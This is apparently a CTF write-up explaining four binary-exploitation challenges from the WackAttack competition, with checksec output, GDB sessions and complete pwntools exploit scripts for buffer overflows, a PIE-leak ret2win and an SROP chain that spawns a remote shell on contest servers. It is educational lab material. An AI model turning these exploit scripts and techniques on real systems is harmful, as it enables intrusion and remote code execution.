26th of October to 29th of October the norwegian CTF team WackAttack organized a CTF. The following writeups are for 4 out of 7 pwn challenges I solved during the competition.
Welcome
1
2
3
4
5
loevland@hp-envy:~/ctf/wackattack/pwn/welcome$ ./welcome
Welcome to pwn!!!!
What would you like to say? (no more than 28 characters please)
asd
Thank you for your comment! Have a great day.
The protections on the binary are
1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/welcome$ pwn checksec ./welcome
[*] '/home/loevland/ctf/wackattack/pwn/welcome/welcome'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We are also given the source code for the binary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
void win() {
char flag[100] = {0};
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 100, fd);
puts(flag);
}
int main() {
setbuf(stdout, NULL);
char buf[28];
int admin = 0;
puts("Welcome to pwn!!!!");
puts("What would you like to say? (no more than 28 characters please)");
gets(buf);
if (admin) {
puts("Oh you are a ctf admin? Here you go:");
win();
exit(0);
}
puts("Thank you for your comment! Have a great day.");
exit(0);
}
There is no canary in the binary, and we can from the source code see that gets
is called, which calls for a buffer overflow. We also see that admin=0
, but it has to be not 0 to let us get the flag.
The buffer is only 28-bytes in size, so if we send 29 bytes we start overwriting the admin
variable.
Sending 29 characters gives us the flag
1
2
3
4
5
Welcome to pwn!!!!
What would you like to say? (no more than 28 characters please)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Oh you are a ctf admin? Here you go:
wack{h4v3_fun_4nd_br34k_stuff}
Matches
1
2
3
4
5
6
7
8
9
10
loevland@hp-envy:~/ctf/wackattack/pwn/matches$ ./matches
Welcome, please set some variables.
first number:
1
another number:
2
and then a string:
abc
num1: 1, num2: 2, string: abc
Thank you for your service
The program asks for two numbers, and a string.
The protections on the binary are
1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/matches$ pwn checksec matches
[*] '/home/loevland/ctf/wackattack/pwn/matches/matches'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We are also given the source code for the binary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
void main() {
setbuf(stdout, NULL);
unsigned int num1;
unsigned int num2;
char str3[64];
puts("Welcome, please set some variables.");
puts("first number: ");
scanf("%d", &num1);
puts("another number: ");
scanf("%d", &num2);
if (num1 > 1000 || num2 > 1000) {
puts("I can't handle numbers larger than 1000!");
exit(0);
}
puts("and then a string: ");
scanf("%s", &str3);
if (num1 == 0xcafebabe && num2 == 0xdeadbeef) {
puts("Congratulations! Here is your flag: ");
system("cat flag.txt");
} else {
printf("num1: %d, num2: %d, string: %s\n", num1, num2, str3);
puts("Thank you for your service");
}
exit(0);
}
To get the flag we must give num1
the value 0xcafebabe
and num2
the value 0xdeadbeef
, however there is an if-check which doesn’t allow us to give num1
and num2
values over 1000.
Luckily, this line of code allows for a buffer overflow, because %s
in scanf
doesn’t have a boundary check
1
scanf("%s", &str3);
Since we have a buffer overflow with scanf
, we can change the values of num1
and num2
after we have given them their initial values.
First we need to find the offsets to num1
and num2
, which we do by sending a cyclic pattern as our 3rd input. If we break in GDB at the if-check, we will be able to see what part of the cyclic pattern num1
and num2
are, giving us their offsets
1
2
3
4
5
6
7
8
9
10
11
pwndbg> r
Starting program: /home/loevland/ctf/wackattack/pwn/matches/matches
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome, please set some variables.
first number:
1
another number:
1
and then a string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaa
When we hit the breakpoints we see the following values being compared to num1
and num2
: 0x61616174
and 0x61616173
(if you don’t pass the first check the program will stop instead of go to the next breakpoint, but we can prevent this with GDB by jumping to the next comparison in the if-check instead).
Looking up the offset in the cyclic pattern, cyclic -n 4 -l <num1 or num2>
, we find that the offset to the value of num2
is 72, and the offset to num1
is 76.
We can then construct a payload which looks like the following
1
2
3
payload = b"A" * 72 # Offset to num2
payload += p32(0xdeadbeef) # Num2
payload += p32(0xcafebabe) # Num1
The full exploit script is
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
io = remote("20.251.64.64", 1031)
io.recvuntil(b"number:")
io.sendline(b"1")
io.recvuntil(b"number:")
io.sendline(b"2")
io.recvuntil(b"string:")
payload = b"A"*72
payload += p32(0xdeadbeef)
payload += p32(0xcafebabe)
io.sendline(payload)
io.interactive()
1
2
3
4
5
loevland@hp-envy:~/ctf/wackattack/pwn/matches$ python3 solve.py
[+] Opening connection to 20.251.64.64 on port 1031: Done
[*] Switching to interactive mode
Congratulations! Here is your flag:
wack{sc4anf_is_gets?}
Leak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
loevland@hp-envy:~/ctf/wackattack/pwn/leak$ ./leak
Hope you're having a great day!
Please input you favorite number
13
The numbers are:
1: 0xcafebabe
2: 0xdeadbeef
3: 0xc0ffee
4: 0xd
5: 0x55b015f11d78
Which of these numbers was your favorite? (1-5)
5
What? You really should remember your FAVORITE number!!
We are asked for 2 nubmers by the program: First our favorite number, then which of the 5 alternatives were our favorite number.
The protections on the binary are
1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/leak$ pwn checksec leak
[*] '/home/loevland/ctf/wackattack/pwn/leak/leak'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We are not given the source code for this binary, so we have to reverse it, giving us the following (cleaned up) functions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main(int argc, const char **argv, const char **envp){
char s1[2] = {0};
unsigned int v5;
unsigned int v6 = 0xc0ffee;
unsigned int v7 = 0xdeadbeef;
unsigned int v8 = 0xcafebabe;
setbuf(stdout, 0);
puts("Hope you're having a great day!");
puts("Please input you favorite number");
__isoc99_scanf("%d", &v5);
getchar();
puts("The numbers are:");
printf("1: 0x%x \n2: 0x%x \n3: 0x%x \n4: 0x%x \n5: %20$p\n\n", v8, v7, v6, v5);
puts("Which of these numbers was your favorite? (1-5)");
gets(s1);
if (!strcmp(s1, "4"))
maybe_win();
else
puts("What? You really should remember your FAVORITE number!!");
return 0;
}
int maybe_win()
{
puts("Thats right!");
return 0;
}
There is also a function dont_look
which is not called from anywhere. The cleaned up version of the function looks like this, and it prints the flag to us
1
2
3
4
5
6
7
8
9
10
11
int dont_look(){
char flag[100];
FILE *flag_file;
puts("nothing to see here...");
sleep(5);
memset(flag, 0, sizeof(flag));
flag_file = fopen("flag.txt", "r");
fgets(flag, 100, flag_file);
return puts(flag);
}
We see a gets
function call in main
, which indicates a buffer overflow. However, from running checksec
we know that PIE
is enabled, which prevents us from knowing the address of the binary, so we don’t know the address of the function dont_look
either then(which the goal for us is to call).
We need a leak of a binary address before we can perform ret2win
, which consists of overflowing the buffer to overwrite the return address stored on the stack with the function we want to call.
Luckily, this line of code provides us with the leak we need
1
printf("1: 0x%x \n2: 0x%x \n3: 0x%x \n4: 0x%x \n5: %20$p\n\n", v8, v7, v6, v5);
In option 5 we see that %20$p
is printed, instead of the value of a variable. %20$p
is a format specifier in C, and this one specifically will print the hexadecimal values of the address stored on the stack at index 20. We can inspect where this address is located (e.g. in the binary, libc, heap, etc.)
1
2
3
4
5
6
7
<...>
The numbers are:
1: 0xcafebabe
2: 0xdeadbeef
3: 0xc0ffee
4: 0x1
5: 0x555555557d78
The GDB output shows us that this address is a binary leak
1
2
3
4
pwndbg> vmmap 0x555555557d78
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555557000 0x555555558000 r--p 1000 2000 /home/loevland/ctf/wackattack/pwn/leak/leak +0xd78
We can use this leak to find the base address of the binary
1
2
3
4
pwndbg> piebase
Calculated VA from /home/loevland/ctf/wackattack/pwn/leak/leak = 0x555555554000
pwndbg> p/x 0x555555557d78-0x555555554000
$2 = 0x3d78
We now know that <leak>-0x3d78 = binary base address
, and can then perform our ret2win
.
Using GDB and a cyclic pattern we find the offset to the return address on the stack to be 26
1
2
3
pwndbg> cyclic -l 0x6165616161616161
Finding cyclic pattern of 8 bytes: b'aaaaaaea' (hex: 0x6161616161616561)
Found at offset 26
We get the following solve script performing our ret2win
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
exe = context.binary = ELF('./leak', checksec=False)
io = remote("20.100.164.71", 1024)
io.recvuntil(b"number")
io.sendline(b"1")
io.recvuntil(b"5: ")
leak = int(io.recvline()[:-1], 16) # Get binary address leak from option 5
piebase = leak - 0x3d78
exe.address = piebase
log.success(f"Leak: {hex(leak)}")
log.success(f"Piebase: {hex(piebase)}")
io.recvuntil(b"1-5)")
# Ret2win payload
payload = b"A"*26
payload += pack(exe.sym.dont_look) # Overwrite the return address with the function printing us the flag
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
loevland@hp-envy:~/ctf/wackattack/pwn/leak$ python3 exploit.py
[+] Opening connection to 20.100.164.71 on port 1024: Done
[+] Leak: 0x558eef534d78
[+] Piebase: 0x558eef531000
[*] Switching to interactive mode
What? You really should remember your FAVORITE number!!
nothing to see here...
wack{w0w_y0u_l3aked_m3}
Sigwhat
1
2
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ ./sigwhat
n00b, you can't even run /bin/sh
We are asked for some input after the printed message.
The protections on the binary are
1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ pwn checksec sigwhat
[*] '/home/loevland/ctf/wackattack/pwn/sigwhat/sigwhat'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Almost everything is disabled, which is not very common.
We are given the source code for the binary, but it doesn’t really help us that much
1
2
3
4
5
6
7
8
const int main[] = {
-443987883, 440, 114432, -1924661248,
8757, 2144768, 84869120, 184,
48896, -1991770112, -293386010, 32815624,
84869120, 1858296003, 744632368, 1970239776,
1851876128, 1696625703, 544105846, 544109938,
1852400175, 6845231, -1017278464
};
We will have to reverse the binary to understand what is going on under the hood, which reveals the following assembly code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.rodata:0000000000400540 main: ; DATA XREF: _start+1D↑o
.rodata:0000000000400540 push rbp
.rodata:0000000000400541 mov rbp, rsp
.rodata:0000000000400544 mov eax, 1
.rodata:0000000000400549 mov edi, 1
.rodata:000000000040054E lea rsi, aN00bYouCanTEve ; "n00b, you can't even run /bin/sh"
.rodata:0000000000400555 mov edx, 20h ; ' '
.rodata:000000000040055A syscall ; LINUX - sys_write
.rodata:000000000040055C mov eax, 0
.rodata:0000000000400561 mov edi, 0
.rodata:0000000000400566 mov rsi, rsp
.rodata:0000000000400569 sub rsi, 8
.rodata:000000000040056D mov edx, 1F4h
.rodata:0000000000400572 syscall ; LINUX - sys_read
.rodata:0000000000400574 retn
There are two syscall
instructions, which means that two “functions” are being called. Before the first syscall
we see that the following instructions are executed(the push and move before these we can ignore, as those instructions exist each time a function is entered, in this case main)
1
2
3
4
mov eax, 1
mov edi, 1
lea rsi, aN00bYouCanTEve
mov edx, 0x20
When a syscall
instruction is executed, the value in eax
indicates what function is being called. We can find a list of the Linux System Call Table here, where we see that having the value 1 in eax
makes the syscall
execute sys_write
. Using the same system call table we can see that edi
contains the file-descriptor the text is written to, which in this case is stdout
(because stdin=0
, stdout=1
and stderr=2
). In the rsi
register we have the text to be printed, and in edx
we have the number of bytes to be printed. The syscall
instruction can be seen as a way to execute the function we specify in eax
(in this case sys_write
).
If we look at the next instructions before the 2nd syscall
, we can use the same System Call Table to figure out what it does
1
2
3
4
5
6
mov eax, 0 ; sys_read
mov edi, 0 ; stdin
mov rsi, rsp ; Load stack pointer in rsi
sub rsi, 8 ; Subtract 8 from value in rsi
mov edx, 0x1F4 ; Read 0x1F4 bytes
syscall
We can see that the second syscall calls sys_read
, which is a way of reading input. The input is collected from stdin
(edi=0
), which is where we provide our input from (aka the terminal). Our input is placed on the stack (value of rsi
), and we can provide 0x1f4(500) bytes(edx=0x1F4
).
Now that we know what the program does, what happens if we give it a cyclic pattern of 500 bytes?
Well, it crashes at the address 0x6161616161616162
, which means that after 8 bytes of input we overwrite the return address stored on the stack.
Compared to the previous challenges we did, there is no win
function, so how do we get the flag?
The clue lies in that we have syscall
, and the challenge name sigwhat
. There is a technique called Sigreturn Oriented Programming (SROP) which we can use. TLDR of the exploit is that we can create a fake sigcontext structure
on the stack, where we give the registers the values we want, and when a sigreturn
call happens the context of the registers are restored from the stack with the values stored in this structure.
As we can overwrite the return address stored on the stack, essentially execute almost anything we want, we can force the sigreturn
call to restore the registers with our fake structure. This is done by calling the syscall
instruction with the value 0xf
(15) stored in the rax
register. If our fake structure is stored on the stack after those instructions it will be used to restore the context of all the registers. This allows us to call sys_execve
with the address of /bin/sh
in the rdi
register, which essentially is like calling system("/bin/sh")
, giving us shell on the remote machine(this all will make more sense once we assemble our payload).
We start by creating our fake structure using pwntools’ SigreturnFrame.
1
2
3
4
5
6
frame = SigreturnFrame()
frame.rax = 0x3b # rax = sys_execve
frame.rdi = 0x400590 # rdi = Address of the string "/bin/sh"
frame.rsi = 0x0 # rdi = 0
frame.rdx = 0x0 # rdx = 0
frame.rip = syscall # Execute sys_execve("/bin/sh", 0, 0) to get shell
We found the address of /bin/sh
using GDB. When we run the program, and break with CTRL+C we can search for the string to find its address (since PIE is disabled it will be constant for each run)
1
2
3
4
5
pwndbg> search /bin/sh
Searching for value: '/bin/sh'
sigwhat 0x400590 0x68732f6e69622f /* '/bin/sh' */
sigwhat 0x600590 0x68732f6e69622f /* '/bin/sh' */
libc.so.6 0x7ffff7f5f698 0x68732f6e69622f /* '/bin/sh' */
The first one is inside the binary itself, and not libc, so we use that one, since ASLR will change the addresses in libc.
We also need to know the address of the syscall
gadget, which we can find with ROPgadget
1
2
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ ROPgadget --binary ./sigwhat | grep ": syscall"
0x000000000040055a : syscall
Now that we have created our fake frame, the last step is to create a payload which calls sys_rt_sigreturn
to restore registers with the values in our frame.
We start with adding random bytes until we hit the return address, which is after we have supplied 8 bytes (which we found with the cyclic pattern and GDB).
1
payload = b"A" * 8
We know that eax
must contain the value 0xf
(15). We can use the pop rax
gadget to move the value 15 into the eax
register, which we find the address of by using the same method as we did when we found the address of syscall
1
2
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ ROPgadget --binary ./sigwhat | grep ": pop rax"
0x0000000000400575 : pop rax ; ret
So our payload is updated to
1
2
3
payload = b"A" * 8
payload += p64(pop_rax)
payload += p64(0xf)
We then want to use syscall
to perform the sigreturn
, with our fake structure being next on the stack, updating our payload to
1
2
3
4
5
payload = b"A" * 8
payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall) # Execute the sigreturn
payload += bytes(frame) # Our fake structure that will populate the registers
The full exploit script is the following
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
exe = context.binary = ELF("./sigwhat", checksec=False)
io = remote("20.100.146.44", 1040)
syscall = 0x40055a
pop_rax = 0x400575
# Fake structure which will restore the registers after sigreturn
frame = SigreturnFrame()
frame.rax = 0x3b # rax = sys_execve
frame.rdi = 0x400590 # rdi = Address of the string "/bin/sh"
frame.rsi = 0x0 # rdi = 0
frame.rdx = 0x0 # rdx = 0
frame.rip = syscall # Execute sys_execve("/bin/sh", 0, 0) to get shell
# Payload calling sigreturn and placing our fake structure next on the stack
payload = b"A" * 8
payload += pack(pop_rax)
payload += p64(0xf)
payload += p64(syscall) # Execute the sigreturn
payload += bytes(frame) # Our fake structure that will populate the registers
io.recvuntil(b"/sh")
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ python3 exploit.py
[+] Opening connection to 20.100.146.44 on port 1040: Done
[*] Switching to interactive mode
$ ls
flag.txt
sigwhat
ynetd
$ cat flag.txt
wack{s1gr3turn_4nd_0bfu5c4t10n_1n_0n3_ch4ll}